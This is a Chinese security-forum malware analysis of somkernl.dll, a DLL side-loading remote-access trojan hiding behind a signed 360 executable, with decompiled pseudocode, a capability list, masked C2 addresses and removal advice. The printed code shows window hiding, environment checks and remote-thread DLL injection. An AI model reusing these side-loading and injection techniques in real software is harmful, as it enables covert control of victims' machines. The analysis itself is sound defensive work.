吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 395|回复: 4
收起左侧

[PC样本分析] somkernl.dll样本分析

[复制链接]
BaiGuQing 发表于 2026-9-12 14:11
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 BaiGuQing 于 2026-9-12 14:19 编辑

来源

在线沙盒

分析函数

DLLEntryPoint

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  if ( fdwReason == 1 )
  {
    DisableThreadLibraryCalls(hLibModule: hinstDLL);
    if ( CheckEnvironment() != 0 )              // 检查环境
    {
      HideWindows();
      MainFunction();
    }
    else
    {
      RestartEXE(hModule: hinstDLL);
    }
  }
  return true;
}
  • 流程简单,先检测环境后隐藏窗口,开始构建并运行
  • 检测失败就重启

CheckEnvironment

int CheckEnvironment()
{
  int result; // eax
  if ( sub_1001A7F4() != 0 )                    // 检查环境变量PRORAM_SL_KEEP是否等于1
    return 1;
  if ( sub_1001A75E() != 0 )                    // 检查360speedld.exe是否运行
    return 1;
  result = sub_1001A752();                      // 检查fixmbr.exe是否运行
  if ( result != 0 )
    return 1;
  return result;
}
int sub_1001A75E()
{
  return CheckEXE(a1: "360speedld.exe");
}

CheckEXE

int __cdecl CheckEXE(char *input)
{
  char *pInput; // edi
  CHAR *v2; // esi
  int v3; // ebx
  DWORD ModuleFileNameA; // eax
  CHAR v5; // al
  CHAR *v6; // ecx
  char v7; // bl
  char v8; // dl
  char v9; // cl
  CHAR Filename[260]; // [esp+Ch] [ebp-104h] BYREF
  pInput = input;
  v2 = Filename;
  if ( input == nullptr )
    return 0;
  if ( *input == 0 )
    return 0;
  v3 = 0;
  ModuleFileNameA = GetModuleFileNameA(hModule: nullptr, lpFilename: Filename, nSize: 0x104u);
  if ( ModuleFileNameA == 0 || ModuleFileNameA >= 0x104 )
    return 0;
  v5 = Filename[0];
  v6 = Filename;
  if ( Filename[0] != 0 )
  {
    do
    {
      if ( v5 == '\\' || *v6 == '/' )
        v2 = ++v6;
      else
        ++v6;
      v5 = *v6;
    }
    while ( *v6 != '\0' );
    if ( *v2 != '\0' )
    {
      do
      {
        v7 = *pInput;
        if ( *pInput == '\0' )
          break;
        v8 = *v2++;
        ++pInput;
        v9 = v8 + 32;
        if ( (unsigned __int8)(v8 - 'A') > 25u )
          v9 = v8;
        if ( (unsigned __int8)(v7 - 'A') <= 25u )
          v7 += ' ';
        if ( v9 != v7 )
          return 0;
      }
      while ( *v2 != '\0' );
      v3 = 0;
    }
  }
  if ( *v2 == '\0' && *pInput == '\0' )
    return 1;
  return v3;
}
  • 核对一下input的exe名和当前运行的是否是一个exe

HideWindows

void HideWindows()
{
  HANDLE Thread; // eax
  if ( (sub_1001A752() != 0 || sub_1001A75E() != 0)// CheckEXE
    && _InterlockedCompareExchange((volatile signed __int32 *)&unk_10021028, 1, 0) == 0 )
  {
    Thread = CreateThread(
               lpThreadAttributes: nullptr,
               dwStackSize: 0,
               lpStartAddress: (LPTHREAD_START_ROUTINE)sub_1001AAA1,
               lpParameter: nullptr,
               dwCreationFlags: 0,
               lpThreadId: nullptr);
    if ( Thread != nullptr )
      CloseHandle(hObject: Thread);
  }
}
void __stdcall __noreturn sub_1001AAA1(LPVOID lpThreadParameter)
{
  int i; // edi
  for ( i = 200; i != 0; --i )
  {
    sub_1001AA8A();
    Sleep(dwMilliseconds: 50u);
  }
  while ( 1 )
  {
    sub_1001AA8A();
    Sleep(dwMilliseconds: 500u);
  }
}
BOOL sub_1001AA8A()
{
  BOOL result; // eax
  result = GetAPIAddrs();
  if ( result )
    return EnumWindows(lpEnumFunc: EnumFunc, lParam: 0);
  return result;
}
BOOL __stdcall EnumFunc(HWND hWnd, LPARAM a2)
{
  LONG WindowLongW; // eax
  DWORD dwProcessId; // [esp+4h] [ebp-4h] BYREF
  dwProcessId = 0;
  if ( hWnd != nullptr )
  {
    GetWindowThreadProcessId(hWnd, lpdwProcessId: &dwProcessId);
    if ( dwProcessId == GetCurrentProcessId() )
    {
      ShowWindow(hWnd, nCmdShow: 0);
      if ( GetWindowLongW != nullptr && SetWindowLongW != nullptr )
      {
        WindowLongW = GetWindowLongW(hWnd, nIndex: -20);
        SetWindowLongW(hWnd, nIndex: -20, dwNewLong: WindowLongW & 0xFFFBFF7F | 0x80);
      }
    }
  }
  return true;
}
  • 有的注释了就不用重复讲了,里面就是CheckEXE单个函数
  • SetWindowLongW(hWnd, nIndex: -20, dwNewLong: WindowLongW & 0xFFFBFF7F | 0x80);
  • 把窗口设置为工具窗口,同时移除 WS_EX_APPWINDOW,让窗口不出现在任务栏
  • 实际上就是隐藏了exe的窗口

MainFunction

void MainFunction()
{
  HANDLE Thread; // eax
  if ( _InterlockedCompareExchange(&dword_10021020, 1, 0) == 0 )
  {
    Thread = CreateThread(
               lpThreadAttributes: nullptr,
               dwStackSize: 0,
               lpStartAddress: (LPTHREAD_START_ROUTINE)sub_1001A5DE,
               lpParameter: nullptr,
               dwCreationFlags: 0,
               lpThreadId: nullptr);
    if ( Thread != nullptr )
      CloseHandle(hObject: Thread);
  }
}
// attributes: thunk
void __stdcall __noreturn sub_1001A5DE(LPVOID lpThreadParameter)
{
  sub_1001A491();
}
void __noreturn sub_1001A491()
{
  CHAR *v0; // edi
  _BYTE *v1; // eax
  _BYTE *v2; // esi
  int v3; // ebx
  const WCHAR *CommandLineW; // eax
  CHAR *v5; // eax
  CHAR *v6; // edi
  bool v7; // cc
  CHAR *v8; // eax
  UINT v9; // eax
  _BYTE v10[104]; // [esp+10h] [ebp-68h] BYREF
  v0 = (CHAR *)Alloc(dwBytes: 0x800u);
  v1 = Alloc(dwBytes: 0xC00u);
  v2 = v1;
  if ( v0 == nullptr || v1 == nullptr )         // 检查是否分配好内存
    Exit_Process(uExitCode: 2u);
  v3 = 0;
  memset(a1: v1, a2: 0, a3: 0xC00);
  memset(a1: v10, a2: 0, a3: 104);
  Init(a1: v2 + 1024);
  CommandLineW = GetCommandLineW();
  Convert(lpWideCharStr: CommandLineW, lpMultiByteStr: v0, cbMultiByte: 2048);
  if ( CmdLineHasOption(a1: v0, a2: "--print-capabilities") != 0 )
    sub_1001A616();
  if ( sub_10015B32(a1: v2 + 2048, a2: v10) == 0 )// 初始化配置并建互斥体
  {
    WriteLogs(lpBuffer: "duplicate_instance");
    OutputLogs(lpBuffer: "duplicate_instance\n");
    Exit_Process(uExitCode: 0x11u);
  }
  *((_DWORD *)v2 + 761) = CmdLineHasOption(a1: v0, a2: "--once");
  if ( CmdLineHasOption(a1: v0, a2: "--insecure-tls") != 0 || *((_DWORD *)v2 + 552) == 0 )
    v3 = 1;
  *((_DWORD *)v2 + 762) = v3;
  ChangeServer(a1: v0, a2: v2, a3: 1024);
  if ( *v2 == 0 )
  {
    v5 = (CHAR *)Alloc(dwBytes: 0x400u);
    v6 = v5;
    if ( v5 == nullptr
      || (v7 = GetEnvironmentVariableA(lpName: "PRORAM_SERVER_URL", lpBuffer: v5, nSize: 0x400u) - 1 <= 0x3FE,
          v8 = v6,
          !v7) )
    {
      v8 = v2 + 1024;
    }
    sub_1001B730(a1: v2, a2: v8);
    sub_1001B3E0(lpMem: v6);
  }
  v9 = sub_1000214F(a1: v2);
  Exit_Process(uExitCode: v9);
}
  • 我对sub_1001A491函数的部分内容简单重命名并注释了一下
  • 深度分析后发现这个就是一个RAT远控程序
  • 有着这么多功能
    "core.transport.failover,core.transport.websocket,core.transport.dns,core.identity.signed_hello,core.heartbeat.ping_p"
    "ong,core.protocol.msgpack,core.transfer.file_upload_v1,system_info.get,diagnostics.get,shell.exec,file_manager.list_"
    "dir,file_manager.stat,file_manager.read_small_file,file_manager.download_file,file_manager.upload,file_manager.creat"
    "e_file,file_manager.mkdir,file_manager.rename,file_manager.delete,persistence.check,persistence.install,persistence.uninstall"

sub_10015B32

int __cdecl sub_10015B32(int a1, int a2)
{
  HANDLE MutexA; // eax
  _DWORD v4[4]; // [esp+Ch] [ebp-194h] BYREF
  char v5; // [esp+1Ch] [ebp-184h]
  _BYTE v6[384]; // [esp+20h] [ebp-180h] BYREF
  if ( a2 == 0 )
    return 0;
  memset(a1: (_BYTE *)a2, a2: 0, a3: 104);
  if ( sub_10015964(a1: v6) == 0 )
    return 0;
  v4[0] = *(_DWORD *)&v6[151];
  v4[1] = *(_DWORD *)&v6[155];
  v4[2] = *(_DWORD *)&v6[159];
  v4[3] = *(_DWORD *)&v6[163];
  v5 = 0;
  sub_100016E2(a1: "Global\\ProRAM-Agent-");
  sub_10001776(a1: v4);
  MutexA = CreateMutexA(lpMutexAttributes: nullptr, bInitialOwner: true, lpName: (LPCSTR)(a2 + 8));
  *(_DWORD *)a2 = MutexA;
  if ( MutexA == nullptr )
    return 0;
  if ( GetLastError() == 183 )
  {
    WriteLogs(lpBuffer: "duplicate_instance");
    CloseHandle(hObject: *(HANDLE *)a2);
    *(_DWORD *)a2 = 0;
    return 0;
  }
  return 1;
}
int __fastcall sub_10015964(int a1, const char *a2, int a3)
{
  _BYTE *v5; // esi
  _BYTE *v6; // eax
  _DWORD v8[18]; // [esp+14h] [ebp-22Ch] BYREF
  _BYTE v9[160]; // [esp+5Ch] [ebp-1E4h] BYREF
  _BYTE v10[64]; // [esp+13Ch] [ebp-104h] BYREF
  CHAR Buffer[96]; // [esp+17Ch] [ebp-C4h] BYREF
  _BYTE v12[32]; // [esp+1DCh] [ebp-64h] BYREF
  _BYTE v13[32]; // [esp+1FCh] [ebp-44h] BYREF
  _BYTE v14[36]; // [esp+21Ch] [ebp-24h] BYREF
  if ( a1 == 0 || a3 == 0 )
    return 0;
  memset(a1: (_BYTE *)a3, a2: 0, a3: 384);
  if ( a2 == nullptr || *a2 == 0 )
    a2 = "template-build";
  if ( sub_1001575B(a1: a2, a2: v12) == 0 )
    return 0;
  sub_1001A126(a1: v12);
  sub_100016E2(a1: v9, a2: 0xA0u, a3: "PRO_RAM_AGENT_HELLO_V1:");
  v5 = sub_1001AF30(a1);
  if ( (unsigned int)&sub_1001AF30(a1: (int)v9)[(_DWORD)v5 + 1] > 0xA0 )
    return 0;
  sub_10001776(a1);
  v6 = sub_1001AF30(a1: (int)v9);
  sub_1001A17C(a1: v6, a2: v14, a3: v10);
  sub_10015822(a1: a3 + 96, a2: 48);
  sub_10015822(a1: a3 + 288, a2: 96);
  sub_10018E93(a1: v13);
  sub_100016E2(a1: (_BYTE *)(a3 + 144), a2: 0x48u, a3: "sha256:");
  sub_1001B330(a1: v13, a2: 32, a3: a3 + 151, a4: 65);
  sub_10015191(a1: a3 + 216);
  Buffer[0] = 0;
  if ( sub_10014FB0() != 0 )
    sub_10014F27(lpName: "PRORAM_AGENT_ID", lpBuffer: Buffer, nSize: 0x60u);
  if ( Buffer[0] != 0 )
  {
    sub_100016E2(a1: (_BYTE *)a3, a2: 0x60u, a3: Buffer);
  }
  else
  {
    sub_1001B330(a1: v13, a2: 32, a3: v8, a4: 65);
    sub_100016E2(a1: (_BYTE *)a3, a2: 0x60u, a3: "agent_c_");
    *(_DWORD *)(a3 + 8) = v8[0];
    *(_DWORD *)(a3 + 12) = v8[1];
    *(_DWORD *)(a3 + 16) = v8[2];
    *(_DWORD *)(a3 + 20) = v8[3];
    *(_BYTE *)(a3 + 24) = 0;
  }
  return 1;
}
  • 种子 → 钳位出密钥对 → 签名 PRO_RAM_AGENT_HELLO_V1 身份串并哈希 → 生成 agent_id / 公钥 / 身份指纹 / 主机指纹 / 签名,装入 384B 结构。(sub_10015964),存在identity.bin
  • 它既是启动时互斥体名(Global\ProRAM-Agent-<摘要> 取的就是这里的哈希)的来源,也是每次 C2 握手证明"同一台被控机"的核心材料。

RestartEXE

void __cdecl RestartEXE(HMODULE hModule)
{
  DWORD ModuleFileNameA; // eax
  ModuleFileNameA = GetModuleFileNameA(hModule, lpFilename: &Buffer, nSize: 0x104u);
  if ( ModuleFileNameA == 0 || ModuleFileNameA >= 0x104 )
    Buffer = 0;
  sub_1001A76A(hModule);
}
int sub_1001A76A(HMODULE hModule)
{
  int result; // eax
  result = sub_1001A7F4();
  if ( result == 0 )
  {
    result = _InterlockedCompareExchange(&dword_10021024, 1, 0);
    if ( result == 0 )
      return sub_1001ADE4(lpBuffer: &Buffer);
  }
  return result;
}
BOOL __cdecl sub_1001ADE4(_BYTE *lpBuffer)
{
  BOOL result; // eax
  int v2; // esi
  CHAR *v3; // eax
  CHAR v4[260]; // [esp+8h] [ebp-264h] BYREF
  CHAR ApplicationName[260]; // [esp+10Ch] [ebp-160h] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+210h] [ebp-5Ch] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+254h] [ebp-18h] BYREF
  LPCVOID lpBaseAddress; // [esp+264h] [ebp-8h] BYREF
  LPVOID lpAddress; // [esp+268h] [ebp-4h] BYREF
  lpBaseAddress = nullptr;
  lpAddress = nullptr;
  result = sub_1001ADC2(lpFilename: ApplicationName, nSize: 0x104u);
  if ( result )
  {
    v2 = sub_1001A993(a1: (int)ApplicationName, a2: (unsigned int)v4, a3: 0x104u);
    memset(a1: &StartupInfo, a2: 0, a3: 68);
    StartupInfo.cb = 68;
    memset(a1: &ProcessInformation, a2: 0, a3: 16);
    SetEnvironmentVariableA(lpName: "PRORAM_SL_KEEP", lpValue: "1");
    v3 = v4;
    if ( v2 == 0 )
      v3 = nullptr;
    if ( CreateProcessA(
           lpApplicationName: ApplicationName,
           lpCommandLine: nullptr,
           lpProcessAttributes: nullptr,
           lpThreadAttributes: nullptr,
           bInheritHandles: false,
           dwCreationFlags: 0x9000004u,
           lpEnvironment: nullptr,
           lpCurrentDirectory: v3,
           lpStartupInfo: &StartupInfo,
           lpProcessInformation: &ProcessInformation) )
    {
      SetEnvironmentVariableA(lpName: "PRORAM_SL_KEEP", lpValue: nullptr);
      if ( sub_1001A8EC(hProcess: ProcessInformation.hProcess, a2: (int)&lpBaseAddress) != 0
        && sub_1001A81D(hProcess: ProcessInformation.hProcess, lpBaseAddress, a3: (int)&lpAddress) != 0
        && sub_1001ABA1(hProcess: ProcessInformation.hProcess, lpAddress) != 0
        && ResumeThread(hThread: ProcessInformation.hThread) != -1 )
      {
        sub_1001AF4D(hThread: ProcessInformation.hThread, a2: (int)lpAddress, a3: 2000);
        if ( lpBuffer != nullptr && *lpBuffer != 0 )
          sub_1001AC30(hProcess: ProcessInformation.hProcess, lpBuffer);
      }
      CloseHandle(hObject: ProcessInformation.hThread);
      CloseHandle(hObject: ProcessInformation.hProcess);
      return true;
    }
    else
    {
      SetEnvironmentVariableA(lpName: "PRORAM_SL_KEEP", lpValue: nullptr);
      return false;
    }
  }
  return result;
}
  • 就是设置下环境并重启

总结

  • 典型的"白加黑"DLL 侧加载木马
  • 360speedld.exe为正常程序
  • somkernl.dll 名称冒用正版 360 组件,实际为自研 C2 agent
  • 执行流程
    360speedld.exe (正版签名)
    └─ LoadLibrary somkernl.dll (同目录劫持)
        └─ DllMain 0x1001A334
             ├─ 激活判断 0x1001A7D4:
             │    PRORAM_SL_KEEP=1 (0x1001A7F4)
             │    或 进程名==360speedld.exe (0x1001A75E)
             │    或 进程名==fixmbr.exe   (0x1001A752)
             ├─[命中] StartHideWindowsWatchdog 0x1001A712
             │        └─ 线程 0x1001AAA1 → EnumWindows:
             │             ShowWindow(SW_HIDE) + 去 WS_EX_APPWINDOW 加 WS_EX_TOOLWINDOW
             │             (前10s每50ms,之后每500ms,宿主界面完全隐身)
             ├─[命中] StartAgentThread 0x1001A5E8
             │        └─ 线程 0x1001A5DE → AgentMain 0x1001A491
             └─[非宿主] 0x1001A78F 缓存DLL自身路径(0x10021030)
                      → 0x1001A76A 自举 → 0x1001ADE4:
                          挂起重启宿主(CREATE_SUSPENDED|NO_WINDOW|BREAKAWAY)
                          + 设 PRORAM_SL_KEEP=1 环境变量
                          + 0x1001A8EC(NtQueryInformationProcess) / 0x1001A81D(远程PE解析)
                          + 0x1001AC30: VirtualAllocEx+WriteProcessMemory+
                            CreateRemoteThread(LoadLibraryA, DLL路径)
                          → 子进程激活 agent
        └─ 导出 SomPlugin 0x1001A36B:同样拉起 agent;
             若在 360speedld.exe 内 → 0x1001A7BD Sleep(60000) 死循环保活宿主
  • C2
    • 主通道:wss://******.com/edge-af6032129bd933a9/agents/stream
    • 备用通道:dns://*****/poram?http=https://*****.com(DNS 隧道)
      (这里涉及论坛敏感词了,自行去沙箱看吧)
  • 协议
    • WebSocket RFC6455 + MsgPack

清除建议

  1. 整包按木马处置;360speedld.exe 本身干净(360 正版),但同目录 DLL 必须删除,勿单独放行该目录
  2. 检查并清理上述注册表 Run 项与 %ProgramData%\ProRAM%LOCALAPPDATA% 下的 identity/状态文件
  3. 封锁两个 C2 域名的 DNS/出网;WSS 443 + DNS 53 需一起查
  4. 若机器曾运行:排查进程树中无窗口的 360speedld.exe、异常 LoadLibrary 注入行为及 fixmbr.exe 落地

免费评分

参与人数 1吾爱币 +7 热心值 +1 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jiaxin9873 发表于 2026-9-15 11:46
我很好奇这些木马病毒的发现途径,是用户反馈?还是蜜罐捕获?亦或者杀毒软件自动上传?谢谢作者科普
 楼主| BaiGuQing 发表于 2026-9-15 17:20
jiaxin9873 发表于 2026-9-15 11:46
我很好奇这些木马病毒的发现途径,是用户反馈?还是蜜罐捕获?亦或者杀毒软件自动上传?谢谢作者科普

我文章有标注来源吧,随便逛逛找找样本就行
jiaxin9873 发表于 2026-9-17 15:36
BaiGuQing 发表于 2026-9-15 17:20
我文章有标注来源吧,随便逛逛找找样本就行

看到了来源,我的意思是,那个上传样本的用户是怎么发现的。此外你是360的技术人员吗,还是只是兴趣爱好去分析这个样本
 楼主| BaiGuQing 发表于 2026-9-17 16:42
jiaxin9873 发表于 2026-9-17 15:36
看到了来源,我的意思是,那个上传样本的用户是怎么发现的。此外你是360的技术人员吗,还是只是兴趣爱好 ...

我逛L站时候看到的,不是技术人员,纯是为了涨一些经验准备实习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-9-18 16:07

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表